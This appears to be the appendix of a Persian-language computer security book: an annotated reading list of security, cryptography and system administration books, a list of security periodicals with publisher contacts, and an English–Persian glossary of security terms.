مقاله‌ای که الگوریتم رمز IDEA را شرح می‌دهد:

Lai, Xuejia. "On the Design and Security of Block Ciphers." *ETH Series in Information Processing 1* (1992).

LaMacchia, Brian A. and Andrew M. Odlyzko. "Computation of Discrete Logarithms in Prime Fields." *Designs, Codes, and Cryptography*. (1991):, 46–62.

Lenstra, A.K., H. W. Lenstra, Jr., M.S. Manasse, and J.M. Pollard. "The Number Field Sieve." *Proceedings of the 22nd ACM Symposium on the Theory of Computing*. Baltimore MD: ACM Press, 1990, 564–72.

این مقاله مفهوم رمزنگاری کلید عمومی را عنوان کرده است:

Merkle, Ralph. “Secure Communication over Insecure Channels.” *Communications of the ACM 21* (1978): 294–99 (submitted in 1975).

Merkle, Ralph, and Martin E. Hellman. “On the Security of Multiple Encryption.” *Communications of the ACM 24* (1981): 465–67.

Merkle, Ralph, and Martin E. Hellman. “Hiding Information and Signatures in Trap Door Knapsacks.” *IEEE Transactions on Information Theory 24* (1978): 525–30.

Rivest, Ron, A. Shamir, and L. Adleman. “A Method for Obtaining Digital Signatures and Public Key Cryptosystems.” *Communications of the ACM 21* (1978).

امنیت رایانه بصورت عام

یک مقدمهٔ کامل و مناسب از امنیت رایانه‌ای در سطح متون دانشگاهی:

Amoroso, Edward. *Fundamentals of Computer Security Technology*. Englewood Cliffs, NJ: Prentice-Hall, 1994.

کتاب جامعی در مورد طراحی سیستمهای انتها به انتها، با مدنظر داشتن موضوع امنیت:

Anderson, Ross. *Security Engineering*; NYC, NY: John Wiley & Sons, 2001.

یک کتاب بسیار خوب در تاریخچه و ساختار سیستمهای مهاجم‌یاب برای میزبانها و شبکه‌ها:

Bace, Rebecca. *Intrusion Detection*; Indianapolis, IN: Macmillan, 2000.

نشریه‌ای که ۸ بار در سال توسط انتشارات Elsevier در آکسفورد انگلستان به چاپ می‌رسد (برای سفارش کتاب با شمارهٔ 865-512242 (0) 44+ تماس بگیرید):

Computers & Security

این نشریه یکی از مهمترین مطبوعات این حوزه است. قیمت این نشریه بگونه‌ای است که بیشتر برای اشتراک مؤسسات مناسب است تا افراد حقیقی. هر شمارهٔ این نشریه به دهها نشریه و سازمان دیگر که ممکن است در آنها مطالب قابل توجه یافت شود و نیز مقالات، مراجع و مکاتبات اشاره دارد. آدرس اینترنتی صفحات وب آن نیز در قسمت گاهنامه‌های امنیتی (انتهای همین پیوست) آمده است.

یک مقدمهٔ قوی از طراحی سیستمهای ایمن. متأسفانه هنوز هم بیشتر اصول گفته‌شده در این کتاب در سیستمهای پیشرفته نیز مورد استفاده قرار نمی‌گیرد:

Gasser, Morrie. *Building a Secure Computer System*. New York, NY: Van Nostrand Reinhold, 1988.

یک کتاب و مرجع تحقیقاتی خوب که در محیطهای دانشگاهی از آن استفادهٔ زیادی می‌شود:

Gollmann, Dieter. *Computer Security*; Chichester, UK, John Wiley & Sons, 1999.

مجموعهٔ بزرگ و جامعی از مقالات مربوط به همهٔ جنبه‌های امنیت رایانه‌ای:

Hunt, A. E., S. Bosworth, and D. B. Hoyt, eds. *Computer Security Handbook*, 3rd edition. New York, NY: Wiley, 1995.

یک مقدمهٔ خوب دیگر در زمینهٔ امنیت رایانه‌ای:

Pfleeger, Charles P and Shari Lawrence Pfleeger. *Security in Computing*. Englewood Cliffs, NJ: Prentice-Hall, 3rd edition, 2002.

یک مقدمهٔ عالی برای بسیاری از حوزه‌های امنیت رایانه‌ای، و خلاصه‌ای از الزامات و ملاحظات امنیتی دولت:

Russell, Deborah, and G. T. Gangemi, Sr. Computer Security Basics. Sebastopol, CA: O’Reilly & Associates, 1991.

Schneier, B. Secrets and Lies: Digital Security in a Networked World. New York: John Wiley & Sons, 2000.

مطالعهٔ این کتاب برای افرادی که بدنبال درک محدودیتهای امنیت و اعتماد رایانه‌ای هستند یک ضرورت است:

Thompson, Ken. “Reflections on Trusting Trust” *Communications of the ACM*, Volume 27, Number 8, August (1984).

یک کتاب عالی در مورد تولید نرم‌افزار ایمن، و مشکلات برنامه‌نویسی بی‌ضابطه:

Viega, John and Gary McGraw. *Building Secure Software*; Indianapolis, IN: Pearson/ Addison-Wesley, 2002.

کتابی شامل یک فهرست جامع و جزئی برای برآورد وضعیت ایمنی رایانه و عملیات:

Wood, Charles Cresson, et al. *Computer Security: A Comprehensive Controls Checklist*, New York, NY: John Wiley & Sons, 1987.

هرچند این کتاب هم اکنون در بازار نیست، اما اگر بتوانید یک نسخهٔ قدیمی آنرا بیابید، می‌تواند به یک مرجع بسیار باارزش برایتان تبدیل شود.

فناوری و ایمنی شبکه

دومین ویرایش از مرجع سنتی دیوارهٔ آتش. این کتاب تقریباً همهٔ نکات در مورد نحوهٔ عملکرد دیواره‌های آتش را به شما می‌آموزد. متن اولیهٔ کتاب بصورت گسترده و رایگان در پایگاه *http://www.wilyhacker.com/1e/* قابل دسترسی است:

Cheswick, Bill, Steve Bellovin, and Aviel Rubin. *Firewalls and Internet Security: Repelling the Wily Hacker*, 2nd Edition. Reading, MA: Addison-Wesley, 2003.

یک کتاب آموزشی عالی که با جزئیات روشن به شما می‌آموزد که چگونه می‌توانید دیوارهٔ آتش خود را بسازید:

Chapman, D. Brent, and Elizabeth D. Zwicky. *Building Internet Firewalls*. Sebastopol, CA: O’Reilly & Associates, 2nd edition, 2000.

یک مرجع کامل و جذاب که به تشریح نحوهٔ عملکرد شبکه‌های TCP/IP – شامل اطلاعاتی در مورد پروتکلها، tuning، و برنامه‌های کاربردی – می‌پردازد:

Comer, Douglas E. *Internetworking with TCP/IP*, 3rd Edition. Englewood Cliffs, NJ: Prentice Hall, 4th edition, 2000.

Garfinkel, Simson. *Web Security, Privacy, and Commerce*, 2nd Edition. Cambridge, MA: O’Reilly and Associates, Inc. 2002.

کتابی که kerberos را در محیطهای Windows 2000 و Unix بطور کامل تشریح کرده است:

Garman, Jason. *Kerberos – The Definitive Guide*. Cambridge, MA: O’Reilly and Associates, Inc, 2003.

کتابی که مروری عالی بر شبکه‌سازی TCP/IP (و با تمرکز روی سیستمهای Unix) انجام داده و یک مرجع بسیار مفید برای برپایی خدمات و ابزارهای اصلی شبکه‌های Unix – مانند Bind و sendmail – می‌باشد:

Hunt, Craig. *TCP/IP Network Administration*.Sebastopol, CA: O'Reilly & Associates, 3rd edition, 2002.

Kaufman, Charles, Radia Perlman, and Mike Speciner. *Network Security: Private Communications in a Public World.* Englewood Cliffs, NJ: Prentice-Hall, 2nd edition, 2002.

یک کتاب مقدماتی مناسب:

Stallings, William. *Cryptography and Network Security: Principles and Practices*. Englewood Cliffs, NJ: PrenticeHall, 2003.

اطلاعات مربوط به خدمات و محصولات امنیتی

فهرست جامعی از سخت‌افزارها و سیستمهای نرم‌افزاری امنیت رایانه که بصورت تجاری در دسترس هستند. این فهرست، با عضویت در مؤسسه مربوط به آن رایگان می‌باشد (و آدرس وب آن هم عبارت است از *http://www.gocsi.com*):

Computer Security Buyer's Guide, Computer Security Institute, San Francisco, CA. (Order from CSI, 415-905-2626)

درک فرهنگ امنیت رایانه‌ای

تمامی مراجع زیر، جنبه‌هایی از آیندهٔ شبکه‌های رایانه‌ای را تشریح می‌نمایند و بیشتر از نقطه‌نظر رمزشکنها مورد بحث قرار گرفته‌اند.

کتابی حاوی قطعه‌برنامه‌های بهره‌برداری مختلف نفوذگران استرالیایی. بعضی از داستانهای این کتاب صحت ندارند، چراکه نویسنده نتوانسته با تمام قربانیان تماس بگیرد و صحت و سقم مطلب را ارزیابی کند:

Dreyfus, Suelette. *Underground*; Australia, Reed Books, 1997.

کتابی که توسط نویسندگان علمی – تخیلی به رشتهٔ تحریر درآمد و برای اولین بار کلمهٔ "فضای مجازی" را بکار برده بود:

Gibson, William. *Burning Chrome, Neuromancer, Count Zero, Mona Lisa Overdrive, Virtual Light, Idoru, All Tomorrow's Parties*. New York, NY: Bantam Books Cyberpunk.

کتابی که داستانهایی از سه نفوذگر (Kevin Mitrick، Pengo، و Robert.T.Morris) را بازگویی می‌کند:

Hafner, Katie and John Markoff, *Cyberpunk: Outlaws and Hackers on the Computer Frontier*. New York, NY: Simonand Schuster, 1991.

یکی از کتابهای اولیه که به‌تشریح پایبندیها و اعتقادات اخلاقی نفوذگران می‌پردازد:

Levy, Steven. Hackers: *Heroes of the Computer Revolution*. New York, NY: Dell Books, 1984.

کتابی که نویسندهٔ آن یکسال قبل از دستگیری در سال ۱۹۹۵ گفتگوهای تلفنی بسیاری با Kevin Mitnick داشته و طی آنها آموخته که چگونه می‌توان به یک نفوذگر رایانه‌ای تبدیل شد، و این کتاب نیز داستان همین ماجرا است:

Littman, Jonathan, *The Fugitive Game: Online with Kevin Mitnick*. Boston, MA: Little, Brown, 1996.

در روز کریسمس سال ۱۹۹۴، یک مهاجم به رایانه Shimora نفوذ کرد. چند هفته بعد از Shimora خواسته شد که در مجموعه حملاتی که به چند مرکز ISP در سان‌فرانسیسکو انجام شده کمک کند. در نهایت، رد مهاجم به کالیفرنیای شمالی رسید و ادامهٔ تحقیقات به تعقیب و دستگیری Kevin Mitnick منجر شد. این داستانی است که توسط Shimora و Markoff (روزنامه‌نگار روزنامهٔ نیویورک تایمز که از ماجرای دستگیری گزارش تهیه کرده) در کتاب زیر شرح داده شده است.

Shimomura, Tsutomu, with John Markoff. *Takedown: The Pursuit and Capture of Kevin Mitnick, America's Most Wanted Computer Outlaw—By the Man Who Did It*. NewYork, NY: Hyperion, 1995.

Sterling, Bruce. *The Hacker Crackdown: Law and Disorder on the Electronic Frontier*.

کتاب فوق در پایگاههای متعددی روی اینترنت قابل دسترسی است، از جمله در فهرستهای COAST، و نیز آدرس زیر:
http://www.swiss.ai.mit.edu/~bal/sterling/contents.html

یک ماجرای خواندنی از تعقیب یک مهاجم رایانه‌ای از طریق شبکه. بعدها مشخص شد که این مهاجم برای سازمان KGB کار می‌کرده و تلاش وی بر آن بوده که اطلاعات حساس را از سیستمهای ایالات متحده بدزدد:

Stoll, Cliff. *The Cuckoo's Egg*, Garden City, NY: Doubleday, 1989.

Varley, John. "Press" Enter.

مطلب فوق در بسیاری از مجموعه‌های علمی – تخیلی به چاپ مجدد رسیده که از جملهٔ آنها می‌توان به دو مورد زیر اشاره کرد:

Blue Champagne, Ace Books, 1986; *Isaac Asimov's Science Fiction Magazine*, 1984;

Tor SF Doubles, October, TorBooks, 1990.

Vinge, Vernor. *True Names and Other Dangers*. New York,NY: Baen, distributed by Simon & Schuster, 1987.

راهبری سیستم‌عامل Unix

یک مرجع عالی برای نصب و راه‌اندازی سرویس‌دهنده‌های نام DNS:

Albitz, Paul and Cricket Liu. *DNS and BIND*. Sebastopol, CA: O'Reilly & Associates, 4th edition, 2001.

یک کتاب کامل آموزشی و مرجعی برای پوستهٔ "ksh":

Bolsky, Morris I., and David G. Korn. *The New Kornshell Command and Programming Language*. Englewood Cliffs, NJ: Prentice-Hall, 2nd edition, 1995.

یک راهنمای خوب در مورد روح کلی سیستم‌عامل Unix و اینکه چگونه می‌توان در آن، قطعه‌برنامه‌های پوسته و محیط‌های دستورنویسی را بوجود آورد:

Kernighan, Brian, Dennis Ritchie and Rob Pike. *The UNIX Programming Environment*. Englewood Cliffs, NJ: Prentice-Hall, 1984.

یک مرجع بسیار خوب در مورد مزایا و معایب استفاده از سیستم‌عامل Unix. این کتاب حاوی اطلاعاتی در مورد نحوهٔ پیکربندی سیستم، افزودن و حذف کاربران، راه‌اندازی سیستم حسابداری برای حسابهای کاربری، تهیهٔ نسخه‌های پشیبان، پیکربندی شبکه‌ها، راه‌اندازی sendmail و نیز بسیاری موارد دیگر است و خواندن آن کاملاً توصیه می‌شود:

Nemeth, Evi, Garth Snyder, Scott Seebass, and Trent R. Hein. *UNIX System Administration Handbook*, 3rd Edition. Englewood Cliffs, NJ: Prentice-Hall, 2000.

Welsh, Matt, Kaufman, Lar, Dalheimer, Matthias K., and Dawson, Terry. *Running Linux*, 4th edition. Sebastopol, CA: O'Reilly & Associates, 2002.

مرجع اصلی زبان قطعه‌برنامه‌ای Perl. یک نیاز اساسی برای همهٔ کسانی که در محیطهای shell، awk، و یا sed برنامه‌نویسی می‌کنند و یا می‌خواهند به سرعت نوشتن برنامه‌های کاربردی در محیط Unix را فرا بگیرند:

Wall, Larry, Christiansen, Tom, and Orwant, Jon. *Programming perl*, 3rd edition, Sebastopol, CA: O'Reilly & Associates, 2000.

راهبری سیستم‌عامل Windows

انتشارات اوریلی و همکاران مجموعه کتابهای مفیدی در زمینهٔ راهبری سیستم‌عامل Windows دارد، از جمله کتاب کتابهای زیر:

Windows NT TCP/IP Network Administration (Craig Hunt and RobertBruce Thompson, 1998).

Managing the Windows 2000 Registry (Robichaux, 2000).

DHCP for Windows 2000 (Neall Alcott, 2001).

DNS on Windows 2000, 2nd Edition (Matt Larson and Cricket Liu, 2001).

Windows 2000 Administration in a Nutshell (Mitch Tulloch, 2001).

و نهایتاً:

Windows Server 2003 in a Nutshell (Mitch Tulloch, 2003).

گاهنامه‌های امنیتی

Computer Audit Update
Computer Fraud & Security Update
Computer Law & Security Report
Computers & Security

Elsevier Advanced Technology
Crown House, Linton Rd.
Barking, Essex I611 8JU
England
Voice: +44-81-5945942
Fax: +44-81-5945942
Telex: 896950 APPSCI G

North American Distributor:
P.O. Box 882

+1 314-894-0276
http://www.drj.com

InfoSecurity News

West Coast Publishing, Inc.
161 Worcester Road, Suite 201
Framingham, MA 01701
http://www.scmagazine.com

Information Security

85 Astor Ave, Suite 2
Norwood, MA 02062
http://www.infosecuritymag.com

New York, NY 10159
Voice: +1-212-989-5800
http://www.elsevier.nl/catalogue/

Computer Security Alert
Computer Security Journal
Computer Security Buyers Guide

Computer Security Institute
600 Harrison Street
San Francisco, CA 94107
Voice: +1-415-905-2626
http://www.gocsi.com

Disaster Recovery Journal

PO Box 510110
St. Louis, MO 63151

لغات و اصطلاحات رایج امنیتی

Acceptable Use Policy ..... سیاست کاربرد مجاز

Access ..... دسترسی

Access Control ..... کنترل دسترسی

Access Control List ..... فهرست کنترل دسترسی

Acknowledgement Information ..... اطلاعات تصدیقی

Anonymity ..... گمنامی

Answerback Modes ..... حالات بازگو

Attack ..... تهاجم

Attestation Report ..... گزارش تصدیق

Audit ..... ممیزی

Audit Trail ..... سلسلهٔ ممیزی

Authentic Signature ..... امضای معتبر

Authentication ..... تصدیق هویت

Authorization ..... تأیید اعتبار

Availability ..... در دسترس بودن

Backbone ..... شاهراه

Backdoor ..... درب مخفی

Backup ..... پشتیبان

Best Practices ..... الگوهای سرآمدی

Biometric ..... مشخصهٔ زیستی

Blackbox Testing ..... آزمون جعبه سیاه

Blended Threat ..... تهدید چندوجهی

Block Algorithms ..... الگوریتمهای بلوکی

Break-In Plan ..... طرح نفوذ

Broadcast ..... عام گستر

Buffer Overflow ..... سرریزی بافر

Business Continuity Plan ..... طرح تداوم کسب و کار

Cache ..... حافظهٔ نهان

Cache Poisoning ..... آلوده‌کردن حافظهٔ نهان

Call Forwarding ..... هدایت تماس

Certificate Revocation Lists ..... فهرست گواهی‌های باطله

Certification ..... گواهینامه

Certification Authorities ..... مراکز صدور گواهی

Certification Practices Statement ..... سیاست کاربرد گواهی

Checklist ..... فهرست کنترل

Checksum ..... سرجمع

Clear Text ..... متن‌ساده

Client ..... سرویس‌گیرنده

Clogging ..... حملات انسداد

Collision ..... تلاقی

Command-Line Interpreter ..... مفسر خط فرمان

Compliance Audit Policy ..... ممیزی رعایت سیاست

Compromise ..... تسخیر

Computer Crime ..... جرائم رایانه‌ای

Computer Emergency Response Team ..... مرکز فوریتهای امنیت رایانه‌ای

Computer Incident Response Centers ..... مرکز واکنش به رخدادهای رایانه‌ای

Confidentiality ..... محرمانگی

Consistency ..... پایداری (ثبات و سازگاری)

Countermeasure ..... مقابله با خطر

Cracker ..... خرابکار

Critical Infrastructures ..... زیرساختهای حیاتی

Cryptography ..... رمزنگاری

Cyberspace ..... فضای سایبر (فضای مجازی)

Data-Driven Attacks ..... حملات برگرفته از اطلاعات

Decode ..... کدگشایی

Decrypt ..... رمزگشایی

Defense in Depth ..... دفاع در عمق

Demilitarized Zone ..... ناحیهٔ غیرنظامی‌شده

Denial of Service ..... تخریب سرویس

Digital Signature ..... امضای دیجیتالی

Disaster Recovery Plan ..... طرح ترمیم سانحه

Egress Filters ..... صافیهای خروجی

Electronic Certification ..... گواهی الکترونیکی

Email Bomb ..... بمب پستی

Encoding ..... کدگذاری

Encryption ..... رمزگذاری

Encryption Key ..... کلید رمزگذاری

End-to-End Security ..... امنیت انتها به انتها

Escape Sequences ..... رشته‌های فرار

Extranet ..... شبکهٔ خارجی

E-Risk ..... مخاطرهٔ الکترونیکی

E-Security ..... امنیت الکترونیکی

E-Trust ..... اعتماد الکترونیکی

Filtering ..... غربال‌سازی

Firewall ..... دیوارهٔ آتش

Gateway ..... دروازه

Hash ..... درهم‌سازی

History File ..... فایل سابقه

Honey Pot ..... کوزهٔ عسل

Host Security ..... امنیت میزبان

Host-Based Firewall ..... دیوارهٔ آتش مبتنی بر میزبان
Identification ..... شناسایی
Identity Theft ..... سرقت هویت
Incident Response Plan ..... طرح واکنش به رخداد
Incremental Backup ..... پشتیبان افزایشی
Ingress Filters ..... صافیهای ورودی
Insider Attack ..... حملهٔ عنصر داخلی
Integrity ..... یکپارچگی و صحت (تمامیت)
Intellectual Property ..... مالکیت معنوی
Intruder ..... مهاجم
Intrusion Detection System ..... سیستم مهاجم‌یاب
Intrusion Response Programs ..... برنامه‌های واکنش به تهاجم
Jamming ..... ارسال پارازیت
Kernel ..... هستهٔ سیستم‌عامل
Keylogger ..... ثبت‌کنندهٔ صفحه‌کلید
Least Privilege ..... امتیاز دسترسی حداقلی
Load Limiting ..... محدودیت بارگذاری
Load Shedding ..... تقسیم بارگذاری
Log Processing ..... پردازش فایلهای ثبت
Logic Bomb ..... بمب منطقی
Loss Analysis ..... تحلیل زیان
Malformed Traffic Attacks ..... حملات ترافیک بدشکل
Malware (Malicious Software) ..... بدافزار
Man-in-the-Middle Attack ..... حملات فرد–در–میان–راه
Message Flooding ..... سیل پیامها
Message Non-Repudiation ..... عدم تکذیب پیام
Metadata ..... فراداده
Minimal Disclosure Certificates ..... گواهی‌های افشای حداقل

Mirror Disks ..... دیسکهای انعکاسی

Mobile Access Point ..... نقطهٔ دسترسی سیار

Mobile Risk Management ..... مدیریت مخاطرات سیار

Multilevel Security ..... امنیت چندلایه

Nameserver ..... سرویس‌دهندهٔ نام

On-demand Filtering ..... غربال‌سازی هنگام نیاز

One-way Encryption ..... رمزگذاری یکطرفه

Open Source Software ..... نرم‌افزار متن‌باز

Overload Attacks ..... حملات بارگذاری بیش از حد

Packet Sniffing ..... دیده‌بانی بسته‌ها

Pass Phrase ..... عبارت رمزی

Password ..... رمز عبور

Password Sniffer ..... دیده‌بان رمز عبور

Patch ..... وصله

Payload Software ..... نرم‌افزارهای سربار

Penetration Testing ..... آزمون نفوذ

Permissions ..... امتیازات دسترسی

Physical Token ..... نشان فیزیکی

Pirated Software ..... نرم‌افزار مسروقه

Point of Contact ..... نقطهٔ تماس

Portscan ..... پویش پورت

Privacy ..... حریم خصوصی

Privacy Policy ..... سیاست حریم خصوصی

Private Address Spaces ..... فضای آدرس خصوصی

Private Key ..... کلید خصوصی

Privilege ..... امتیاز دسترسی

Process Attack ..... تهاجم پردازه‌ای

Programmed Threats ..... تهدیدات برنامه‌ریزی‌شده

Public Key ..... کلید عمومی

Public Key Infrastructure ..... زیرساخت کلید عمومی

Quoting ..... گیومه‌گذاری

Realtime ..... بلادرنگ

Reliability ..... قابلیت اطمینان

Remote Access ..... دسترسی از راه دور

Restricted Calling Groups ..... گروههای تماس محدود

Risk Analysis ..... تحلیل مخاطره

Risk Assessment ..... ارزیابی مخاطره

Risk Evaluation ..... برآورد مخاطره

Router ..... مسیریاب

Sanitizing ..... پاکسازی

Scalability ..... مقیاس‌پذیری

Scan ..... پویش

Secret Key Algorithms ..... الگوریتمهای کلید مخفی

Security Audit ..... ممیزی امنیتی

Separation Management ..... مدیریت تفکیک

Sequence Conditions ..... شرایط رقابت

Server ..... سرویس‌دهنده

Services ..... خدمات

Session Hijacking ..... سرقت جلسه

Session Key ..... کلید جلسه

Shadow Password Files ..... فایلهای سایه‌ای رمزهای عبور

Snapshot ..... تصویر آنی

Snooping Tool ..... ابزار جاسوسی

Social Engineering ..... مهندسی اجتماعی

Spam ..... هرزنامه

Spoofing ..... گمراه‌سازی

Symmetric Encryption ..... رمزگذاری متقارن

Threat ..... تهدید

Token ..... نشان

Trojan Horses ..... اسب تراوا

Two Factor Authentication ..... تصدیق هویت دو عاملی

Unauthorized Access ..... دسترسی غیرمجاز

User ..... کاربر

User Account ..... حساب کاربری

Username ..... نام کاربری

Virtual Private Network ..... شبکهٔ خصوصی مجازی

Virus ..... ویروس

Virus Signatures ..... نشانهای ویروس

Vulnerability ..... آسیب‌پذیری

Wireless Access Point ..... نقطهٔ دسترسی بی‌سیم

Wiretapping ..... استراق سمع تلفنی

Workstation ..... ایستگاه کاری

Worm ..... کرم